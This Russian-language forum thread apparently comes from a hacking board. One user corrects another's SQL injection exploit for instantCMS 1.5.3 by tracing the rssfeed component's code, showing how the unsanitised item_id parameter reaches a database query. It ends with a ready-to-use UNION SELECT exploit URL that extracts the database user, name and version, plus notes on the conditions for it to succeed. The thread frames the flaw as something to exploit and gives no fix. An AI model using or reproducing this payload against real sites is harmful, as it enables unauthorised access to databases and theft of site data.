Сообщение от
Ctacok
instantCMS 1.5.3
PHP код:
case 'catalog': $result = $inDB->query("SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1") or die(mysql_error());
if (mysql_num_rows($result)){
$data = mysql_fetch_assoc($result);
if ($short) { $data['title'] = substr($data['title'], 0, 30).'...'; }
$html .= '<a href="/catalog/0/item'.$target_id.'.html#c">'.$data['title'].'</a>';
if ($onlylink) { $html = 'http://'.$_SERVER['HTTP_HOST'].'/catalog/0/item'.$target_id.'.html#c'; }
}
break;
Сообщение от
Ctacok
Ulalala ^_^
Обязательно 4,14!

запрос
Код:
SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1
В запросе ведь $target_id.... Откуда взялся item_id?
Дело в то, что Тут другой запрос. Твой не имеет совершенно никакого отношения к баге.
Результат: Кривой Эксплойт.
Суть этой скули в следующем.
Проследим и ОЧЕНЬ подробно по запчастям разберемся в работе скрипта. Так как тут очень много переходов по файлам.
/components/rssfeed/frontend.php
PHP код:
require(PATH."/core/cms.php");
...................................
$inCore->loadClass('db');
...................................
if (file_exists($_SERVER['DOCUMENT_ROOT'].'/components/'.$target.'/prss.php')){
$inCore->includeFile('components/'.$target.'/prss.php');
eval('rss_'.$target.'($item_id, $cfg, $rssdata);');
$ready = sizeof($rssdata['items']);
функция includeFile() объявляется в
/core/cms.php.
вот она
PHP код:
public function includeFile($file){
include_once PATH.'/'.$file;
}
В своем запросе ты передал $target=content.
Инклудится
/components/content/prss.php
смотрим что в нем
PHP код:
$cat = dbGetFields('cms_category', 'id='.$item_id, 'id, title, description, NSLeft, NSRight');
Возвращаемся в
/core/cms.php и смотрим, что делает функция dbGetFields()
/core/cms.php
PHP код:
function dbGetFields($table, $where, $fields, $order='id ASC'){
$inDB = cmsDatabase::getInstance();
$sql = "SELECT $fields FROM $table WHERE $where ORDER BY $order";
$result = $inDB->query($sql) or die('DB_GET_FIELDS: '.mysql_error().'<pre>'.$sql);
if ($inDB->num_rows($result)){
$data = $inDB->fetch_assoc($result);
return $data;
} else {
return false;
}
}
Функции поступают
dbGetFields(
'cms_category', 'id='.$item_id, 'id, title, description, NSLeft, NSRight')
Шаблонный вид
($table, $where, $fields, $order='id ASC')
как видно функция генерирует запрос
$sql = "SELECT $fields FROM $table WHERE $where ORDER BY $order";
первое значение $table='cms_category' второе значение. $where='id='.$item_id $fields='id, title, description, NSLeft, NSRight'
ну и $order='id ASC', который уже задан в функции. Теперь подставляем значения смотрим какой запрос нам сгенерирует функция.
Код:
SELECT id, title, description, NSLeft, NSRight FROM cms_category WHERE id=$item_id ORDER BY id ASC
как видно остался злосчастный $item_id, который не проинициализирован и не подвергается обработке.
Далее что делает функция.
dbGetFields
$inDB->num_rows($result)
$result = $inDB->query($sql)
$data = $inDB->fetch_assoc($result);
функции query() и fetch_assoc() вызовутся так:
вернемся в fronted.php
смотрим строчку
$inCore->loadClass('db');
loadClass() объявляется
в cms.php
PHP код:
public function loadClass($class){
$classfile = PATH.'/core/classes/'.$class.'.class.php';
if (file_exists($classfile)){
include_once($classfile);
return true;
}
нам подгружается db.class.php
PHP код:
public function fetch_assoc($result){
return mysql_fetch_assoc($result);
}
PHP код:
public function num_rows($result){
return (int)mysql_num_rows($result);
}
PHP код:
public function query($sql){
$inConf = cmsConfig::getInstance();
$result = mysql_query($sql, $this->db_link);
if ($inConf->debug){
$this->q_count += 1;
$this->q_dump .= '<pre>'.$sql.'</pre><hr/>';
}
if (mysql_error() && $inConf->debug){
die('<div style="margin:2px;border:solid 1px gray;padding:10px">DATABASE ERROR: <pre>'.$sql.'</pre>'.mysql_error().'</div>');
}
return $result;
}
как и видно по названия им вызываются соответствующие функции.
если num_rows() ничего тебе не вернет, то дело до fetch_assoc() не дайдет, функция вернет false. А вытекающее следующее.
вместо вывода ты получишь:
frontend.php
PHP код:
else {
$rss = '<p>Запрашиваемая вами RSS-лента не содержит записей.</p>';
}
Отсюда следует вот что:
num_rows() должен вернуть не пустое значение.
exploit
components/rssfeed/frontend.php?
Код:
target=content&item_id=[id существующей категории]+union+select+1,concat_ws(0x3a,user(), database(),version()),3,4,5+--+
честно скажу я не стал вникать, почему твоя конструкция вернула тебе резуьтат(num_rows не вернул 0), ибо все эти хождения по файлам и функциям уже мой мозг вынесли напрчь. Но одно очевидно, я добавил новые категории(а админы их пустыми то и не держут) и твой exploit отказался работать.
вот такая система работы. Никаких 4,14 не нужно.
а ведь хорошая уязвимость =) даже mq = off не требуется.